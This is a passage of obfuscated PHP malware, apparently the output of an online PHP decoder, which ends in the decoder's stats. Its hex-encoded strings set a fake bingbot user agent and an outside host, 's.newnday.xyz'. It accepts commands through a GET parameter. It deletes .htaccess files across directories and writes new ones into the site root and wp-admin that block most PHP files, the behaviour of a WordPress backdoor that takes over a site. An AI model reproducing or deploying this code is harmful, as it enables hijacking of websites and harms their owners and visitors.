"\x6f\153")) { goto aCYUE; } goto CM8cS; ljt9T: LQnp5: goto sP6PO; pie3H: $upMLr = "\x3c\146\x6f\x6e\164\40\143\157\154\x6f\x72\x3d\42\147\x72\145\x65\x6e\42\x3e\157\x6b\74\x2f\x66\x6f\156\x74\76"; goto yNAqo; c2xWi: echo "\x3c\x62\x72\40\57\x3e"; goto kiTo8; KYEy0: if (!($PwrAG["\163\164\x61\x74\165\163"] == "\x66\x61\x69\x6c")) { goto yqqXk; } goto RFzx3; sjWrN: PeHuD: goto ljt9T; RFzx3: $upMLr = "\74\x66\157\x6e\x74\40\143\x6f\154\x6f\x72\75\x22\x72\145\x64\x22\x3e" . $PwrAG["\163\164\x61\x74\165\163"] . "\74\57\x66\157\x6e\x74\x3e"; goto rAqKf; CNqwz: echo "\55\x2d\55\55\55\x2d\x2d\55\55\145\x6e\144\40" . $PwrAG["\x74\x69\x74\x6c\x65"] . "\75\x3d\x3d\x3e\163\164\141\164\165\163\x3a" . $upMLr; goto WO7xn; qNvRK: KVqtE: goto Ia7A5; oBNSx: if (!($xCUXx != "\150\164\x6d\154")) { goto c__Sf; } goto sT7dm; DS1z1: if (is_array($PwrAG)) { goto hmoZq; } goto HmNix; HmNix: return; goto KeO9h; WO7xn: gHv6k: goto c2xWi; YYUyz: foreach ($PwrAG["\155\145\x73\x73\141\147\145"] as $Dsmvj) { goto Pbd5G; sb35U: Mh4vm: goto Qechl; b4CBI: echo "\x3c{$Og1Xx}\x3e" . $Dsmvj . "\74\x2f{$Og1Xx}\x3e"; goto sb35U; V_9YT: $Dsmvj = str_replace("\146\x61\151\x6c", "\x3c\x66\157\x6e\x74\x20\x63\157\154\157\x72\x3d\42\162\x65\x64\42\76\146\x61\151\x6c\74\57\146\x6f\x6e\x74\x3e", $Dsmvj); goto b4CBI; Pbd5G: $Dsmvj = str_replace("\x73\165\x63\143\145\163\163", "\x3c\x66\157\x6e\x74\40\x63\x6f\154\157\162\75\42\x62\154\165\145\42\76\163\165\143\143\145\163\163\x3c\57\146\x6f\x6e\x74\76", $Dsmvj); goto MKiPU; MKiPU: $Dsmvj = str_replace("\x20\x6f\x6b", "\74\146\157\x6e\164\x20\x63\157\154\x6f\162\75\42\142\x6c\165\145\x22\x3e\40\157\153\x3c\57\x66\x6f\x6e\164\x3e", $Dsmvj); goto V_9YT; Qechl: } goto sjWrN; rAqKf: yqqXk: goto CNqwz; yNAqo: goto gHv6k; goto l0Ip4; xiyqL: return; goto KOrg2; sT7dm: echo json_encode($PwrAG); goto xiyqL; KeO9h: hmoZq: goto h90E6; l0Ip4: lYnUW: goto GEnZo; kiTo8: echo "\74\x62\x72\x20\x2f\x3e"; goto iKuiK; jIqRi: aCYUE: goto KYEy0; iKuiK: } goto dBFtt; m7GIQ: $ucssM = "\115\157\172\x69\x6c\154\x61\57\x35\x2e\60\x20\50\143\157\x6d\x70\141\164\151\x62\x6c\145\x3b\x20\142\x69\x6e\x67\x62\x6f\x74\x2f\62\56\60\73\40\x2b\x68\x74\x74\160\x3a\x2f\x2f\167\x77\167\56\x62\151\156\147\x2e\143\x6f\x6d\57\142\151\156\147\142\x6f\x74\56\x68\164\x6d\51"; goto x_xyq; kWyoJ: if (!(isset($_GET["\x68"]) && $_GET["\x68"] == "\x63\154\x65\x61\x72")) { goto vG9AJ; } goto TmKdV; x_xyq: $qiwhR = "\x68\164\x74\x70\72\x2f\57\x73\56\156\x65\x77\156\x64\141\171\x2e\170\x79\x7a\57"; goto IDo_e; T54Y6: header("\x41\x63\x63\x65\x73\163\55\103\x6f\x6e\x74\x72\157\154\x2d\x41\x6c\154\x6f\167\55\x4f\x72\x69\x67\x69\x6e\72\x2a"); goto w65kQ; k3s5v: if (!(isset($_GET["\150"]) && $_GET["\150"] == "\62")) { goto ceS7Y; } goto F0G5V; lcfBh: function woxER($xvBwd) { goto uyaKk; uT3JA: if (!($nYSyj = opendir($xvBwd))) { goto I3mF5; } goto sMK_Q; rEmjG: closedir($nYSyj); goto ODUhQ; b2pjN: nNDdH: goto sXMnA; q3uI3: goto yVsaf; goto hiI12; dSFgX: $LzR5U = $xvBwd . "\x2f" . $K0292; goto xVNxn; elXS_: if ($pwmEQ) { goto bq7jR; } goto QIa1D; ODUhQ: I3mF5: goto bJrOs; xizrf: if (!(($K0292 = readdir($nYSyj)) !== false)) { goto QTns9; } goto AxA4Z; q9sOD: QTns9: goto rEmjG; SYtHh: $pwmEQ = file_put_contents($Evc1U . "\57\56\x68\x74\x61\143\143\x65\x73\x73", $p2Kq7); goto elXS_; cFfih: RBa3H: goto PoqYp; P2KQn: if (!is_dir($xvBwd . "\57" . $K0292)) { goto RBa3H; } goto dSFgX; xVNxn: if (!file_exists($LzR5U . "\57\x2e\150\164\141\143\143\145\163\x73")) { goto nNDdH; } goto vEmcH; ct83A: return "\163\165\x63"; goto gvud3; PoqYp: axOOp: goto Gd8Jl; uaCF7: unlink($LzR5U . "\57\x2e\150\164\141\x63\143\145\x73\163"); goto b2pjN; sXMnA: woXEr($LzR5U); goto Y65PY; gvud3: yVsaf: goto GKopN; Gd8Jl: RoZ_3: goto t06IA; AxA4Z: if (!($K0292 != "\56" && $K0292 != "\56\x2e")) { goto RoZ_3; } goto P2KQn; vEmcH: chmod($LzR5U . "\x2f\x2e\x68\x74\141\143\143\x65\x73\x73", 0644); goto uaCF7; t06IA: goto Vfv6M; goto q9sOD; IOnwI: chmod($Evc1U . "\57\56\x68\x74\141\x63\143\x65\x73\x73", 0644); goto SYtHh; bJrOs: $p2Kq7 = "\x3c\111\146\x4d\157\x64\x75\154\145\40\x6d\x6f\x64\x5f\x72\145\x77\162\151\164\145\x2e\143\x3e\xd\12\x9\x52\x65\167\162\x69\x74\145\x45\x6e\147\x69\156\145\40\x4f\156\15\12\x9\x52\x65\167\x72\x69\x74\x65\102\x61\x73\145\40\57\15\xa\x9\122\145\167\162\x69\164\145\122\x75\x6c\145\40\x5e\x69\x6e\144\x65\x78\x2e\x70\x68\x70\x24\40\x2d\40\x5b\x4c\x5d\xd\xa\11\122\145\167\162\x69\164\x65\103\x6f\x6e\x64\40\x25\x7b\122\105\x51\x55\105\123\124\137\x46\111\x4c\x45\x4e\x41\x4d\x45\175\x20\41\55\x66\15\xa\11\x52\x65\x77\162\x69\164\x65\x43\157\x6e\x64\x20\x25\x7b\122\105\x51\125\105\123\x54\137\x46\x49\x4c\x45\x4e\x41\x4d\105\175\40\x21\x2d\144\xd\xa\11\122\x65\x77\162\151\164\145\x52\x75\154\145\40\56\40\x69\x6e\144\x65\x78\56\x70\150\160\40\x5b\x4c\x5d\15\12\x9\x3c\57\111\146\115\x6f\144\165\154\x65\x3e"; goto IOnwI; Y65PY: goto axOOp; goto cFfih; hiI12: bq7jR: goto ct83A; uyaKk: global $Evc1U; goto uT3JA; QIa1D: return "\x66\141"; goto q3uI3; sMK_Q: Vfv6M: goto xizrf; GKopN: } goto THoot; V5W7B: if (!(isset($_GET["\150"]) && $_GET["\150"] == "\60")) { goto t6ZZx; } goto TwKFj; CsR7n: mDBUy: goto Nmafn; eHMHX: ZPnrW($fHQ1T, $xCUXx); goto HRbve; F0G5V: $ZpjoR = Lm18R(); goto EgqBK; emH4_: if (!(isset($_GET["\x68"]) && $_GET["\x68"] == "\x31")) { goto p_W39; } goto aqkrI; lARHw: $pfqHK = WoxEr($xvBwd); goto ECzAw; mH0wO: $RbeTK = $_SERVER["\110\x54\124\120\x5f\x48\x4f\123\x54"]; goto M0ko5; L_8Eo: function rcevV() { goto Uco2v; Uco2v: global $Evc1U; goto bNyDo; RjjAS: eEpn_: goto IeVFf; A71de: $p2Kq7 = "\x3c\x46\151\154\x65\x73\x4d\141\x74\143\150\40\x22\x2e\x2a\x5c\x2e\x28\x70\171\174\145\170\145\x7c\x70\x68\164\155\x6c\x7c\160\x68\x70\174\120\x48\120\x7c\x50\150\160\x7c\120\x48\160\x7c\160\x48\160\174\x70\110\120\x7c\x70\150\120\x7c\120\x68\x50\x7c\x70\x68\160\x35\174\x70\150\160\67\174\x70\x68\x70\x38\174\x73\x75\x73\x70\145\143\164\x65\144\51\x24\42\76\15\xa\x4f\162\x64\145\162\x20\101\x6c\154\x6f\x77\54\104\145\x6e\171\15\12\x44\145\x6e\171\40\146\162\x6f\155\x20\141\154\x6c\xd\xa\74\57\106\x69\x6c\145\163\x4d\x61\164\143\x68\x3e\xd\12\x3c\106\151\x6c\x65\163\x4d\x61\x74\143\x68\40\x22\136\x28\56\x2a\x29\50\x2e\160\x68\x70\51\44\42\x3e\15\12\117\x72\144\x65\x72\40\101\x6c\x6c\157\167\54\104\x65\x6e\171\xd\12\x41\154\154\157\167\x20\146\x72\x6f\155\x20\x61\154\x6c\15\12\x3c\57\106\151\x6c\x65\x73\x4d\141\x74\x63\150\x3e"; goto I5ctx; YU2sX: $kg0Jo["\x74\x69\164\154\x65"] = __FUNCTION__; goto A71de; vq1gS: $zPkvj["\155\x65\163\x73\141\147\145"][] = "\150\40\152\151\145"; goto kNvty; ND6sY: if (!file_exists($siy_b)) { goto g_Gxx; } goto L59ua; rQo8K: if (!$pwmEQ) { goto eEpn_; } goto vq1gS; JJaY3: return $zPkvj; goto wOO0Q; RlbZa: g_Gxx: goto Zt5a5; kNvty: goto lQ_Wb; goto RjjAS; I5ctx: $siy_b = $Evc1U . "\57\167\160\55\141\144\155\151\156\57\56\x68\x74\141\x63\143\x65\163\x73"; goto ND6sY; bNyDo: $kg0Jo = array(); goto YU2sX; IeVFf: $zPkvj["\155\145\163\x73\141\147\x65"][] = "\150\x20\x66\141"; goto gbJzc; L59ua: $eyoAH = @chmod($siy_b, 0644); goto RlbZa; Zt5a5: $pwmEQ = file_put_contents($siy_b, $p2Kq7); goto rQo8K; gbJzc: lQ_Wb: goto JJaY3; wOO0Q: } goto Ajsub; EgqBK: ZPNrw($ZpjoR, $xCUXx); goto h70oB; Ajsub: function LM18r() { goto lef_s; hn3i5: $zPkvj["\155\x65\163\163\x61\x67\145"][] = "\x68\x20\146\141"; goto Tzv1b; TEdHL: $p2Kq7 = "\74\111\146\x4d\x6f\x64\165\x6c\x65\x20\x6d\157\x64\137\162\x65\x77\x72\151\164\145\x2e\x63\76\xd\xa\x52\145\x77\162\x69\x74\145\105\x6e\147\151\156\x65\40\117\x6e\15\12\122\x65\x77\162\x69\x74\145\x42\x61\x73\x65\x20\57\xd\xa\122\x65\167\x72\x69\164\145\x52\165\154\x65\x20\x5e\x69\156\x64\145\170\56\x70\x68\160\44\40\55\x20\133\x4c\x5d\15\12\x52\x65\167\162\x69\164\x65\x43\157\156\x64\40\x25\173\122\x45\x51\x55\x45\x53\x54\x5f\106\111\114\105\116\x41\x4d\105\175\x20\x21\x2d\x66\15\12\122\x65\x77\x72\151\x74\x65\x43\x6f\156\144\x20\x25\x7b\122\105\121\125\x45\123\124\137\x46\x49\x4c\x45\x4e\101\x4d\105\175\x20\41\55\144\xd\12\122\145\167\x72\151\164\145\122\x75\x6c\145\x20\56\x20\151\x6e\144\145\170\x2e\x70\x68\160\x20\x5b\114\135\15\12\74\57\111\146\115\157\144\165\154\145\x3e\xd\xa\74\106\x69\x6c\145\x73\115\141\x74\x63\x68\40\42\x2e\x2a\134\56\50\x70\x79\174\x65\x78\145\x7c\160\x68\164\x6d\154\174\160\x68\x70\174\x50\x48\x50\x7c\120\x68\x70\174\120\110\x70\x7c\160\x48\160\x7c\x70\x48\x50\174\160\x68\120\x7c\x50\150\120\174\x70\x68\x70\x35\x7c\x70\x68\160\x37\x7c\x70\x68\x70\70\174\163\165\x73\x70\x65\x63\164\145\x64\51\x24\42\76\15\xa\x4f\x72\144\x65\x72\40\x41\x6c\154\157\x77\x2c\104\x65\x6e\x79\15\12\104\145\x6e\171\40\x66\x72\157\x6d\x20\x61\154\x6c\15\12\74\57\106\x69\154\145\163\x4d\x61\x74\x63\150\76\xd\12\x3c\106\x69\x6c\x65\x73\115\141\x74\143\x68\x20\x22\136\50\151\156\x64\145\170\56\x70\150\x70\174\x77\160\x2d\x6c\x6f\147\x69\156\x2e\x70\x68\160\x7c\x6f\160\164\x69\157\156\x73\x2d\147\145\x6e\x65\162\x61\154\x2e\x70\150\x70\x7c\165\x70\147\x72\x61\x64\145\56\x70\150\x70\x7c\141\144\155\x69\x6e\x2e\x70\x68\x70\174\160\162\157\146\x69\x6c\145\x2e\160\x68\x70\x7c\154\x6f\x61\144\x2d\x73\164\x79\x6c\145\x73\56\160\x68\x70\x7c\154\x6f\141\144\x2d\163\143\162\151\x70\164\163\56\160\150\x70\x7c\143\150\x65\143\x6b\142\157\x78\56\x70\x68\x70\174\165\160\x64\x61\x74\145\x2e\x70\150\160\x7c\x70\154\x75\x67\151\156\163\x2e\x70\x68\160\x29\44\42\x3e\15\xa\117\162\144\145\162\x20\x41\x6c\154\157\167\54\x44\x65\156\x79\15\xa\x41\154\154\x6f\x77\x20\146\x72\157\155\40\x61\x6c\154\15\xa\x3c\57\x46\151\154\145\x73\115\x61\164\x63\150\x3e"; goto ZdgQc; KPGoz: if (!file_exists($siy_b)) { goto F0KMd; } goto NT1De; altZg: $kg0Jo = array(); goto pnjDh; Wd6l5: return $zPkvj; goto cixAm; Pz1IM: jVZEI: goto hn3i5; NT1De: $eyoAH = @chmod($siy_b, 0644); goto pKf1S; yyzUB: $zPkvj["\155\x65\163\163\x61\147\145"][] = "\150\40\x73\165\x6f"; goto NOUkp; pnjDh: $kg0Jo["\164\151\164\x6c\145"] = __FUNCTION__; goto TEdHL; jLj60: if (!$pwmEQ) { goto jVZEI; } goto yyzUB; o4PvK: $pwmEQ = file_put_contents($siy_b, $p2Kq7); goto jLj60; lef_s: global $Evc1U; goto altZg; NOUkp: goto YWKTW; goto Pz1IM; Tzv1b: YWKTW: goto Wd6l5; ZdgQc: $siy_b = $Evc1U . "\x2f\x77\160\55\141\144\155\x69\x6e\x2f\56\x68\x74\141\143\x63\x65\x73\x73"; goto KPGoz; pKf1S: F0KMd: goto o4PvK; cixAm: } goto NR5LK; Ktri1: $JypiI = str_replace($_SERVER["\104\x4f\x43\125\x4d\x45\116\x54\137\122\x4f\117\124"], '', $pEAqo); goto zlFM3; wMU0F: $BR7uj = isset($_SERVER["\110\x54\x54\x50\x53"]) && $_SERVER["\110\x54\124\120\x53"] == "\157\x6e" ? "\150\164\x74\x70\163" : "\x68\164\164\x70"; goto mH0wO; QD55Q: FA1AH:

Function Calls

None

Variables

None

Stats

MD5 cfb1685607080856256868b075f53f7b
Eval Count 0
Decode Time 103 ms